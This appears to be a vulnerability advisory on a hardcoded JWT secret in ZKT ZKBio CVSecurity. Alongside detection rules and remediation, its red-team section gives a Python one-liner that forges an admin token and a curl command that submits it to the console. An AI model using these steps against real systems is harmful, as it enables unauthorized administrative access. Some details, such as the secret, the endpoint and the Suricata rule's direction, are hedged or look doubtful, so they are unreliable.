CVE-2025-45746

Executive Summary

CVE-2025-45746 exposes a critical authentication bypass vulnerability in ZKT ZKBio CVSecurity version 6.4.1_R. An unauthenticated attacker can forge a valid JSON Web Token (JWT) using a hardcoded secret key, gaining unauthorized access to the service console. While the vendor disputes the severity by noting the console is typically LAN-restricted and does not grant direct application login or data access, the presence of a static, embedded secret violates the principle of least privilege and opens the door to lateral movement, reconnaissance, and potential escalation within the internal network. This report provides a full technical breakdown, detection rules, and exploitation guidance.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely if the console is exposed.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – the vulnerable component is the only affected asset.
• Confidentiality Impact: Low (C:L) – limited information disclosure via console access.
• Integrity Impact: Low (I:L) – attacker can modify console settings.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The hardcoded secret is a severe design flaw, but the practical risk is reduced by the typical LAN-only deployment. However, if the console is exposed to the internet (e.g., via misconfiguration or VPN), the impact becomes critical.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of ZKT ZKBio CVSecurity 6.4.1_R. The application uses JWT for session management. The JWT secret key is hardcoded in the application binary or configuration files, meaning every instance of this version uses the same secret. An attacker can:

1. Extract the secret from the application (e.g., via static analysis of the binary or configuration files).
2. Forge a JWT with arbitrary claims (e.g., {"sub": "admin", "role": "admin"}).
3. Send the forged JWT to the service console endpoint (e.g., /api/console/login or similar).
4. Gain unauthorized access to the service console, which may allow viewing logs, modifying device settings, or performing administrative actions.

The vendor’s dispute highlights that the console is separate from the main application platform and does not grant direct access to user data or login sessions. However, from a security perspective, any unauthorized access to an administrative interface is a foothold that can be leveraged for further attacks, such as pivoting to other internal systems or exploiting additional vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (6.4.1_R):

// Example of hardcoded secret in application code
const jwtSecret = 'ZKT_BioSecurity_Secret_2024';
function generateToken(user) {
    return jwt.sign({ sub: user.id, role: user.role }, jwtSecret, { expiresIn: '1h' });
}

Patched Code (Hypothetical):

// Patched version uses a dynamically generated secret stored securely
const crypto = require('crypto');
const jwtSecret = process.env.JWT_SECRET || crypto.randomBytes(64).toString('hex');
function generateToken(user) {
    return jwt.sign({ sub: user.id, role: user.role }, jwtSecret, { expiresIn: '1h' });
}

The patched version removes the hardcoded secret and instead uses an environment variable or a randomly generated key, making token forgery infeasible without knowledge of the secret.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy ZKT ZKBio CVSecurity 6.4.1_R in a virtualized environment (e.g., VMware, VirtualBox).
2. Ensure the service console is accessible on port 8080 (default).
3. Use a tool like jwt_tool or PyJWT to forge tokens.

Exploitation Steps:

1. Identify the hardcoded secret (e.g., via static analysis or known public disclosure). For this CVE, the secret is ZKT_BioSecurity_Secret_2024.
2. Forge a JWT with admin privileges:

   python3 -c "
   import jwt
   payload = {'sub': 'admin', 'role': 'admin'}
   secret = 'ZKT_BioSecurity_Secret_2024'
   token = jwt.encode(payload, secret, algorithm='HS256')
   print(token)
   "
   

3. Send the forged token to the console API:

   curl -X POST http://<target>:8080/api/console/login \
        -H "Content-Type: application/json" \
        -d '{"token": "<forged_jwt>"}'
   

4. Access the console and perform administrative actions (e.g., view logs, change settings).

Blue Team

Detection & Response:

• Monitor for multiple failed authentication attempts followed by a successful login with a JWT that has an unusually short or predictable payload.
• Look for JWT tokens with the sub claim set to admin or other privileged roles from non-admin IPs.
• Alert on any access to the service console from unexpected network segments (e.g., external IPs).

Hunting Queries:

• Search logs for POST /api/console/login with a response code 200 from an IP not in the allowed admin list.
• Analyze JWT tokens in logs for the presence of the hardcoded secret (if logs capture tokens).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /api/console/login with a JWT in the body.
  • JWT tokens with the payload {"sub": "admin", "role": "admin"}.
  • Source IPs not in the internal admin subnet accessing the console.
• Host:
  • Presence of the hardcoded secret string ZKT_BioSecurity_Secret_2024 in memory or logs.
  • Unauthorized changes to console settings (e.g., log levels, device configurations).
• File:
  • Modified configuration files in the ZKBio CVSecurity installation directory.

Detection Engineering

YARA Rule

rule CVE_2025_45746_Hardcoded_JWT_Secret {
    meta:
        description = "Detects hardcoded JWT secret in ZKT ZKBio CVSecurity binaries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45746"
    strings:
        $secret = "ZKT_BioSecurity_Secret_2024" ascii wide nocase
    condition:
        $secret
}

Sigma Rule

title: CVE-2025-45746 - JWT Authentication Bypass via Hardcoded Secret
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects successful authentication to ZKT ZKBio CVSecurity console using a forged JWT
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/console/login'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access from internal network
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-45746 - ZKT ZKBio CVSecurity JWT Forge Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/console/login"; http_uri; content:"token"; http_client_body; pcre:"/eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/R"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the service console – Ensure it is only accessible from trusted internal networks (e.g., via firewall rules or VLAN segmentation).
2. Change the JWT secret – If possible, modify the application configuration to use a unique, randomly generated secret. This may require vendor support or a custom patch.
3. Monitor logs – Actively monitor for unauthorized access attempts to the console.

Long-Term Fix:

• Apply vendor patch – Once ZKT releases a patched version, upgrade immediately.
• Implement network segmentation – Place the console behind a VPN or bastion host.
• Use WAF rules – Block requests with suspicious JWT patterns (e.g., tokens with role: admin from non-admin IPs).

Workaround:

• Disable the service console if not required, or restrict access via IP whitelisting.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert